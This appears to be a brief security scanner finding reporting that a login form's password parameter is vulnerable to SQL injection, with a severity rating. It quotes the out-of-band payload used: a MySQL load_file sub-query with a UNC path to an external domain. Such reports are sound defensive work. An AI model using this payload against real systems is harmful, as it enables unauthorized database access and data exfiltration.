## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `password` parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+'  
was submitted in the password parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed.  
  
STATUS: HIGH Vulnerability - CRITICAL
